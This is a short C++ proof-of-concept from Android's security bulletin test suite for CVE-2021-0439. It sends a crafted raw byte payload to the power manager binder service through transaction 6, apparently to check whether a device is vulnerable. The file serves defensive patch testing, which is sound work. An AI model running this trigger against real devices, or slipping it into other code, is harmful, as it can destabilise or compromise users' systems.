hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp

/*
 * Copyright 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <binder/Parcel.h>

using namespace android;

int main() {
  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> binder = sm->getService(String16("power"));
  if (!binder) {
    return EXIT_FAILURE;
  }
  Parcel data, result;
  data.writeInterfaceToken(String16("android.os.IPowerManager"));
  char d[] = {static_cast<char>(0xc9),
              static_cast<char>(0xa4),
              0x10,
              static_cast<char>(0xd4),
              0x00,
              0x00,
              0x00,
              0x00,
              0x00,
              0x27,
              0x00,
              0x5a,
              0x00,
              0x00,
              0x00,
              0x00};
  data.write(d, sizeof(d));
  binder->transact(6, data, &result);
  return EXIT_SUCCESS;
}